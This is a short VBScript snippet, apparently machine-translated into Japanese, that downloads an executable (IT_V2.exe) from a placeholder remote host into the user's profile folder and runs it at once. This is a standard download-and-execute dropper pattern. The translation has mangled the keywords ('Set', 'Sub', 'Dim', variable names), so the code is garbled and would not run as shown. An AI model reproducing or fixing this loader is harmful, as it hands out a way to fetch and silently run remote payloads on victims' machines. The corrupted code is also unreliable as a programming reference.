ダウンロードして、.vbsファイルを実行します

ダウンロードして、.vbsファイルを実行します 

サブダウンロード（URL、目標）     
    を設定FSO =のCreateObject（ "Scripting.FileSystemObjectオブジェクト"）
    fso.FileExists（ターゲット）次にfso.deleteFileをターゲットにする場合
	のConst adTypeBinary = 1 
	のConst adSaveCreateOverWrite = 2 
	薄暗いHTTPは、ADO 
	のhttp =のCreateObject（ "MSXML2を設定します。 XMLHTTP "）
	http.open "GET"、urlには、偽
	http.sendの
	設定騒ぎ=のCreateObject（" Adodb.Stream」）
	ado.Type = adTypeBinary 
	ado.Open 
	ado.Write http.responseBody 
	ado.SaveToFileターゲット
	ado.Close 
End Subの

設定しoShell =のCreateObject（ "WScript.SHELL"）
Fl_path = oShell.ExpandEnvironmentStrings（ "％USERPROFILE％"）＆ "\ IT_V2.exe" 

ダウンロード"http://xxx.xxxx.com/IT_V2.exe",Fl_path

oShell.RUN Fl_path